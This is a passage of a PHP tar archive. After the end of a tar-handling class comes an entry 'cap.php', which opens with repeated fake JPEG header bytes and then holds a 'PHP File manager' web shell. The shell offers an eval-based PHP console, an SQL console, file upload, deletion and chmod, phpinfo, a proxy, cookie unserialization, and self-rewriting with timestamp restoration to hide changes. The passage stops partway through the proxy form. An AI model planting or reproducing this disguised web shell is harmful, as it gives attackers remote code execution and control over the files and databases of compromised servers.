		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
